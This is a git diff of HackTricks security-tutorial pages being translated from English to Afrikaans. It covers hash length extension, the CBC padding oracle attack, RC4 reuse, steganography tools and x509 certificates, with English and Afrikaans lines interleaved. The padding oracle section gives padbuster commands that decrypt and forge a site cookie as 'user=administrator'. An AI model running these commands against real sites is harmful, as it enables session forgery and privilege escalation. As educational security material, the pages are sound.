[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
## Rockstar
```
Midnight takes your heart and your soul
While your heart is as high as your soul
@ -51,11 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
## PETOOH
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,37 +2,37 @@
{{#include ../banners/hacktricks-training.md}}
## Summary of the attack
## Samevatting van die aanval
Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
Stel jou 'n bediener voor wat **onderteken** sekere **data** deur 'n **geheime** by 'n bekende duidelike teksdata te **voeg** en dan daardie data te hash. As jy weet:
- **The length of the secret** (this can be also bruteforced from a given length range)
- **The clear text data**
- **The algorithm (and it's vulnerable to this attack)**
- **The padding is known**
- Usually a default one is used, so if the other 3 requirements are met, this also is
- The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
- **Die lengte van die geheim** (dit kan ook bruteforced word uit 'n gegewe lengterange)
- **Die duidelike teksdata**
- **Die algoritme (en dit is kwesbaar vir hierdie aanval)**
- **Die padding is bekend**
- Gewoonlik word 'n standaard een gebruik, so as die ander 3 vereistes nagekom word, is dit ook
- Die padding varieer afhangende van die lengte van die geheim+data, daarom is die lengte van die geheim nodig
Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**.
Dan is dit moontlik vir 'n **aanvaller** om **data** te **voeg** en 'n geldige **handtekening** te **genereer** vir die **vorige data + bygevoegde data**.
### How?
### Hoe?
Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**.
Basies genereer die kwesbare algoritmes die hashes deur eerstens 'n **blok data** te **hash**, en dan, **uit** die **voorheen** geskepte **hash** (toestand), voeg hulle die volgende blok data **by** en **hash dit**.
Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
If an attacker wants to append the string "append" he can:
Stel jou voor dat die geheim "secret" is en die data "data" is, die MD5 van "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
As 'n aanvaller die string "append" wil byvoeg, kan hy:
- Generate a MD5 of 64 "A"s
- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
- Append the string "append"
- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
- 'n MD5 van 64 "A"s genereer
- Die toestand van die voorheen geinitialiseerde hash verander na 6036708eba0d11f6ef52ad44e8b74d5b
- Die string "append" byvoeg
- Die hash voltooi en die resultaat sal 'n **geldige een wees vir "secret" + "data" + "padding" + "append"**
### **Tool**
### **Gereedskap**
{% embed url="https://github.com/iagox86/hash_extender" %}
### References
### Verwysings
You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
Jy kan hierdie aanval goed verduidelik vind in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,26 +2,24 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
In CBC-modus word die **vorige versleutelde blok as IV** gebruik om met die volgende blok te XOR:
![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png)
To decrypt CBC the **opposite** **operations** are done:
Om CBC te ontsleutel, word die **teenoorgestelde** **operasies** gedoen:
![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png)
Notice how it's needed to use an **encryption** **key** and an **IV**.
Let op hoe dit nodig is om 'n **versleuteling** **sleutel** en 'n **IV** te gebruik.
## Message Padding
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
Aangesien die versleuteling in **vaste** **grootte** **blokken** uitgevoer word, is **padding** gewoonlik nodig in die **laaste** **blok** om sy lengte te voltooi.\
Gewoonlik word **PKCS7** gebruik, wat 'n padding genereer deur die **aantal** **bytes** **nodig** om die blok te **voltooi** te herhaal. Byvoorbeeld, as die laaste blok 3 bytes kort, sal die padding `\x03\x03\x03` wees.
Let's look at more examples with a **2 blocks of length 8bytes**:
Kom ons kyk na meer voorbeelde met **2 blokke van lengte 8bytes**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Note how in the last example the **last block was full so another one was generated only with padding**.
Let op hoe in die laaste voorbeeld die **laaste blok vol was, so 'n ander een is net met padding gegenereer**.
## Padding Oracle
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
Wanneer 'n toepassing versleutelde data ontsleutel, sal dit eers die data ontsleutel; dan sal dit die padding verwyder. Tydens die opruiming van die padding, as 'n **ongeldige padding 'n waarneembare gedrag veroorsaak**, het jy 'n **padding oracle kwesbaarheid**. Die waarneembare gedrag kan 'n **fout**, 'n **gebrek aan resultate**, of 'n **langsame reaksie** wees.
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
As jy hierdie gedrag waarneem, kan jy die **versleutelde data ontsleutel** en selfs **enige duidelike teks versleutel**.
### How to exploit
You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
### Hoe om te benut
Jy kan [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) gebruik om hierdie tipe kwesbaarheid te benut of net doen
```
sudo apt-get install padbuster
```
In order to test if the cookie of a site is vulnerable you could try:
Om te toets of die koekie van 'n webwerf kwesbaar is, kan jy probeer:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**Kodering 0** beteken dat **base64** gebruik word (maar ander is beskikbaar, kyk na die hulpmenu).
**Encoding 0** means that **base64** is used (but others are available, check the help menu).
You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter:
Jy kan ook **hierdie kwesbaarheid misbruik om nuwe data te enkripteer. Byvoorbeeld, stel jou voor dat die inhoud van die koekie is "**_**user=MyUsername**_**", dan kan jy dit verander na "\_user=administrator\_" en voorregte binne die toepassing opgradeer. Jy kan dit ook doen met `paduster` deur die -plaintext** parameter te spesifiseer:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
As die webwerf kwesbaar is, sal `padbuster` outomaties probeer om te vind wanneer die padding fout voorkom, maar jy kan ook die foutboodskap aandui deur die **-error** parameter te gebruik.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
### Die teorie
### The theory
In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
In **samevatting**, jy kan begin om die versleutelde data te ontsleutel deur die korrekte waardes te raai wat gebruik kan word om al die **verskillende vullings** te skep. Dan sal die padding oracle aanval begin om bytes van die einde na die begin te ontsleutel deur te raai wat die korrekte waarde is wat **'n vulling van 1, 2, 3, ens.** skep.
![](<../images/image (561).png>)
Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\
In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\
Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So:
Stel jou voor jy het 'n paar versleutelde teks wat **2 blokke** beslaan wat gevorm word deur die bytes van **E0 tot E15**.\
Om die **laaste** **blok** (**E8** tot **E15**) te **ontsleutel**, gaan die hele blok deur die "blok-kodering ontsleuteling" wat die **intermediêre bytes I0 tot I15** genereer.\
Laastens, elke intermediêre byte word **XORed** met die vorige versleutelde bytes (E0 tot E7). So:
- `C15 = D(E15) ^ E7 = I15 ^ E7`
- `C14 = I14 ^ E6`
@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes (
- `C12 = I12 ^ E4`
- ...
Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7`
Nou, dit is moontlik om **`E7` te wysig totdat `C15` `0x01` is**, wat ook 'n korrekte vulling sal wees. So, in hierdie geval: `\x01 = I15 ^ E'7`
So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7`
So, om E'7 te vind, is dit **moontlik om I15 te bereken**: `I15 = 0x01 ^ E'7`
Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Wat ons toelaat om **C15 te bereken**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`.
As ons **C15** weet, is dit nou moontlik om **C14** te bereken, maar hierdie keer brute-forcing die vulling `\x02\x02`.
This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\
Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
Hierdie BF is net so kompleks soos die vorige een, aangesien dit moontlik is om die `E''15` waarvan die waarde 0x02 is te bereken: `E''7 = \x02 ^ I15` so dit is net nodig om die **`E'14`** te vind wat 'n **`C14` gelyk aan `0x02`** genereer.\
Dan, doen dieselfde stappe om C14 te ontsleutel: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Follow this chain until you decrypt the whole encrypted text.**
**Volg hierdie ketting totdat jy die hele versleutelde teks ontsleutel.**
### Detection of the vulnerability
### Opsporing van die kwesbaarheid
Register and account and log in with this account .\
If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t.
Registreer en skep 'n rekening en teken in met hierdie rekening.\
As jy **baie keer aanmeld** en altyd die **dieselfde koekie** kry, is daar waarskynlik **iets** **verkeerd** in die toepassing. Die **koekie wat teruggestuur word, moet uniek wees** elke keer wat jy aanmeld. As die koekie **altyd** die **dieselfde** is, sal dit waarskynlik altyd geldig wees en daar **sal geen manier wees om dit te ongeldig te maak** nie.
Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\
But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster.
Nou, as jy probeer om die **koekie** te **wysig**, kan jy sien dat jy 'n **fout** van die toepassing kry.\
Maar as jy die vulling BF (met padbuster byvoorbeeld) kan jy 'n ander koekie kry wat geldig is vir 'n ander gebruiker. Hierdie scenario is hoogs waarskynlik kwesbaar vir padbuster.
### References
### Verwysings
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,8 +1,8 @@
{{#include ../banners/hacktricks-training.md}}
If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function.
As jy op een of ander manier 'n plaintekst met RC4 kan enkripteer, kan jy enige inhoud wat deur daardie RC4 geënkripteer is (met dieselfde wagwoord) net met die enkripsiefunksie dekripteer.
If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
As jy 'n bekende plaintekst kan enkripteer, kan jy ook die wagwoord onttrek. Meer verwysings kan gevind word in die HTB Kryptos masjien:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}

View File

@ -2,50 +2,41 @@
{{#include ../banners/hacktricks-training.md}}
## **Extracting Data from Files**
## **Data uit Lêers Onthul**
### **Binwalk**
A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk).
'n Gereedskap om binêre lêers te soek na ingebedde versteekte lêers en data. Dit word geïnstalleer via `apt` en sy bron is beskikbaar op [GitHub](https://github.com/ReFirmLabs/binwalk).
```bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data
```
### **Foremost**
Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost).
Herstel lêers gebaseer op hul kop- en voetstukke, nuttig vir png-prente. Geïnstalleer via `apt` met sy bron op [GitHub](https://github.com/korczis/foremost).
```bash
foremost -i file # Extracts data
```
### **Exiftool**
Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/).
Help om lêer metadata te sien, beskikbaar [here](https://www.sno.phy.queensu.ca/~phil/exiftool/).
```bash
exiftool file # Shows the metadata
```
### **Exiv2**
Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/).
Soortgelyk aan exiftool, vir metadata weergave. Installeerbaar via `apt`, bron op [GitHub](https://github.com/Exiv2/exiv2), en het 'n [amptelike webwerf](http://www.exiv2.org/).
```bash
exiv2 file # Shows the metadata
```
### **Lêer**
### **File**
Identify the type of file you're dealing with.
Identifiseer die tipe lêer waarmee jy te doen het.
### **Strings**
Extracts readable strings from files, using various encoding settings to filter the output.
Onthaal leesbare strings uit lêers, met verskillende koderinginstellings om die uitvoer te filter.
```bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
@ -57,95 +48,84 @@ strings -e b -n 6 file # 16bit strings (big-endian)
strings -e L -n 6 file # 32bit strings (little-endian)
strings -e B -n 6 file # 32bit strings (big-endian)
```
### **Vergelyking (cmp)**
### **Comparison (cmp)**
Useful for comparing a modified file with its original version found online.
Nuttig om 'n gewysigde lêer met sy oorspronklike weergawe wat aanlyn gevind is, te vergelyk.
```bash
cmp original.jpg stego.jpg -b -l
```
## **Onttrek van Verborgen Gegewens in Tekst**
## **Extracting Hidden Data in Text**
### **Verborgen Gegewens in Spasies**
### **Hidden Data in Spaces**
Onsigbare karakters in blykbaar leë spasies mag inligting verberg. Om hierdie data te onttrek, besoek [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
## **Onttrek van Gegewens uit Beelde**
## **Extracting Data from Images**
### **Identifying Image Details with GraphicMagick**
[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image:
### **Identifisering van Beeldbesonderhede met GraphicMagick**
[GraphicMagick](https://imagemagick.org/script/download.php) dien om beeldlêertipes te bepaal en potensiële korrupsie te identifiseer. Voer die onderstaande opdrag uit om 'n beeld te inspekteer:
```bash
./magick identify -verbose stego.jpg
```
To attempt repair on a damaged image, adding a metadata comment might help:
Om 'n poging te doen om 'n beskadigde beeld te herstel, kan dit help om 'n metadata-kommentaar by te voeg:
```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
```
### **Steghide vir Data Verborge**
### **Steghide for Data Concealment**
Steghide fasiliteer die verborge van data binne `JPEG, BMP, WAV, en AU` lêers, en is in staat om versleutelde data in te sluit en uit te trek. Installasie is eenvoudig met `apt`, en sy [bronskode is beskikbaar op GitHub](https://github.com/StefanoDeVuono/steghide).
Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide).
**Opdragte:**
**Commands:**
- `steghide info file` onthul of 'n lêer verborge data bevat.
- `steghide extract -sf file [--passphrase password]` trek die verborge data uit, wagwoord is opsioneel.
- `steghide info file` reveals if a file contains hidden data.
- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional.
Vir web-gebaseerde ekstraksie, besoek [hierdie webwerf](https://futureboy.us/stegano/decinput.html).
For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html).
**Bruteforce Attack with Stegcracker:**
- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows:
**Bruteforce Aanval met Stegcracker:**
- Om 'n wagwoord te probeer kraak op Steghide, gebruik [stegcracker](https://github.com/Paradoxis/StegCracker.git) soos volg:
```bash
stegcracker <file> [<wordlist>]
```
### **zsteg vir PNG en BMP Lêers**
### **zsteg for PNG and BMP Files**
zsteg spesialiseer in die ontdekking van versteekte data in PNG en BMP lêers. Installasie word gedoen via `gem install zsteg`, met sy [bron op GitHub](https://github.com/zed-0xff/zsteg).
zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg).
**Opdragte:**
**Commands:**
- `zsteg -a file` pas alle opsporingsmetodes op 'n lêer toe.
- `zsteg -E file` spesifiseer 'n payload vir data-ekstraksie.
- `zsteg -a file` applies all detection methods on a file.
- `zsteg -E file` specifies a payload for data extraction.
### **StegoVeritas en Stegsolve**
### **StegoVeritas and Stegsolve**
**stegoVeritas** kontroleer metadata, voer beeldtransformasies uit, en pas LSB brute forcing toe onder andere funksies. Gebruik `stegoveritas.py -h` vir 'n volledige lys van opsies en `stegoveritas.py stego.jpg` om alle kontroles uit te voer.
**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks.
**Stegsolve** pas verskeie kleurfilters toe om versteekte teks of boodskappe binne beelde te onthul. Dit is beskikbaar op [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
### **FFT vir Versteekte Inhoud Opsporing**
### **FFT for Hidden Content Detection**
Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include:
Fast Fourier Transform (FFT) tegnieke kan verborge inhoud in beelde onthul. Nuttige hulpbronne sluit in:
- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
- [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic)
- [FFTStegPic op GitHub](https://github.com/0xcomposure/FFTStegPic)
### **Stegpy for Audio and Image Files**
### **Stegpy vir Klank- en Beeldlêers**
Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy).
Stegpy laat die insluiting van inligting in beeld- en klanklêers toe, wat formate soos PNG, BMP, GIF, WebP, en WAV ondersteun. Dit is beskikbaar op [GitHub](https://github.com/dhsdshdhk/stegpy).
### **Pngcheck for PNG File Analysis**
To analyze PNG files or to validate their authenticity, use:
### **Pngcheck vir PNG Lêer Analise**
Om PNG lêers te analiseer of om hul egtheid te valideer, gebruik:
```bash
apt-get install pngcheck
pngcheck stego.png
```
### **Addisionele Gereedskap vir Beeldanalise**
### **Additional Tools for Image Analysis**
For further exploration, consider visiting:
Vir verdere verkenning, oorweeg om te besoek:
- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
@ -153,66 +133,60 @@ For further exploration, consider visiting:
- [OpenStego](https://www.openstego.com/)
- [DIIT](https://diit.sourceforge.net/)
## **Extracting Data from Audios**
## **Data Uittrekking uit Klank**
**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content.
**Klank steganografie** bied 'n unieke metode om inligting binne klanklêers te verberg. Verskeie gereedskap word gebruik om versteekte inhoud in te sluit of te onttrek.
### **Steghide (JPEG, BMP, WAV, AU)**
Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide).
Steghide is 'n veelsydige gereedskap ontwerp om data in JPEG, BMP, WAV, en AU lêers te verberg. Gedetailleerde instruksies word verskaf in die [stego tricks documentation](stego-tricks.md#steghide).
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
Hierdie gereedskap is versoenbaar met 'n verskeidenheid formate insluitend PNG, BMP, GIF, WebP, en WAV. Vir meer inligting, verwys na [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
### **ffmpeg**
ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies.
ffmpeg is van kardinale belang vir die beoordeling van die integriteit van klanklêers, wat gedetailleerde inligting uitlig en enige afwykings aanwys.
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
### **WavSteg (WAV)**
WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include:
WavSteg presteer in die verborge en onttrekking van data binne WAV-lêers deur die minste betekenisvolle bit strategie te gebruik. Dit is beskikbaar op [GitHub](https://github.com/ragibson/Steganography#WavSteg). Opdragte sluit in:
```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
```
### **Deepsound**
Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx).
Deepsound laat die versleuteling en opsporing van inligting binne klanklêers toe met behulp van AES-256. Dit kan afgelaai word van [the official page](http://jpinsoft.net/deepsound/download.aspx).
### **Sonic Visualizer**
An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more.
'n Onskatbare hulpmiddel vir visuele en analitiese inspeksie van klanklêers, Sonic Visualizer kan versteekte elemente onthul wat deur ander middele onopspoorbaar is. Besoek die [official website](https://www.sonicvisualiser.org/) vir meer.
### **DTMF Tones - Dial Tones**
Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html).
Die opsporing van DTMF-tones in klanklêers kan bereik word deur aanlyn hulpmiddels soos [this DTMF detector](https://unframework.github.io/dtmf-detect/) en [DialABC](http://dialabc.com/sound/detect/index.html).
## **Other Techniques**
### **Binary Length SQRT - QR Code**
Binary data that squares to a whole number might represent a QR code. Use this snippet to check:
Binaire data wat tot 'n heelgetal kwadrate, mag 'n QR-kode verteenwoordig. Gebruik hierdie snit om te kontroleer:
```python
import math
math.sqrt(2500) #50
```
Vir binêre na beeld omskakeling, kyk na [dcode](https://www.dcode.fr/binary-image). Om QR-kodes te lees, gebruik [hierdie aanlyn strepieskode leser](https://online-barcode-reader.inliteresearch.com/).
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
### **Braille Vertaling**
### **Braille Translation**
Vir die vertaling van Braille, is die [Branah Braille Translator](https://www.branah.com/braille-translator) 'n uitstekende hulpbron.
For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource.
## **References**
## **Verwysings**
- [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
- [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)

View File

@ -1,47 +1,38 @@
# Certificates
# Sertifikate
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Wat is 'n Sertifikaat
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
'n **Publieke sleutelsertifikaat** is 'n digitale ID wat in kriptografie gebruik word om te bewys dat iemand 'n publieke sleutel besit. Dit sluit die sleutel se besonderhede, die eienaar se identiteit (die onderwerp), en 'n digitale handtekening van 'n vertroude gesag (die uitgewer) in. As die sagteware die uitgewer vertrou en die handtekening geldig is, is veilige kommunikasie met die sleutel se eienaar moontlik.
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Sertifikate word meestal uitgereik deur [sertifikaatowerhede](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in 'n [publieke sleutel infrastruktuur](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) opstelling. 'n Ander metode is die [web van vertroue](https://en.wikipedia.org/wiki/Web_of_trust), waar gebruikers mekaar se sleutels direk verifieer. Die algemene formaat vir sertifikate is [X.509](https://en.wikipedia.org/wiki/X.509), wat aangepas kan word vir spesifieke behoeftes soos uiteengesit in RFC 5280.
## What is a Certificate
## x509 Algemene Velde
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
### **Algemene Velde in x509 Sertifikate**
Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each others keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
In x509 sertifikate speel verskeie **velde** kritieke rolle in die versekerings van die sertifikaat se geldigheid en sekuriteit. Hier is 'n uiteensetting van hierdie velde:
## x509 Common Fields
- **Weergawe Nommer** dui die x509 formaat se weergawe aan.
- **Serie Nommer** identifiseer die sertifikaat uniek binne 'n Sertifikaatowerheid se (CA) stelsel, hoofsaaklik vir herroepingopsporing.
- Die **Onderwerp** veld verteenwoordig die sertifikaat se eienaar, wat 'n masjien, 'n individu, of 'n organisasie kan wees. Dit sluit gedetailleerde identifikasie in soos:
- **Algemene Naam (CN)**: Domeine wat deur die sertifikaat gedek word.
- **Land (C)**, **Plaaslikeheid (L)**, **Staat of Provinsie (ST, S, of P)**, **Organisasie (O)**, en **Organisatoriese Eenheid (OU)** verskaf geografiese en organisatoriese besonderhede.
- **Gekenneteerde Naam (DN)** sluit die volle onderwerp identifikasie in.
- **Uitgewer** gee besonderhede oor wie die sertifikaat geverifieer en onderteken het, insluitend soortgelyke subvelde soos die Onderwerp vir die CA.
- **Geldigheidsperiode** word gemerk deur **Nie Voor** en **Nie Na** tydstempels, wat verseker dat die sertifikaat nie voor of na 'n sekere datum gebruik word nie.
- Die **Publieke Sleutel** afdeling, wat van kardinale belang is vir die sertifikaat se sekuriteit, spesifiseer die algoritme, grootte, en ander tegniese besonderhede van die publieke sleutel.
- **x509v3 uitbreidings** verbeter die sertifikaat se funksionaliteit, wat **Sleutel Gebruik**, **Verlengde Sleutel Gebruik**, **Onderwerp Alternatiewe Naam**, en ander eienskappe spesifiseer om die sertifikaat se toepassing te verfyn.
### **Common Fields in x509 Certificates**
In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
- **Version Number** signifies the x509 format's version.
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
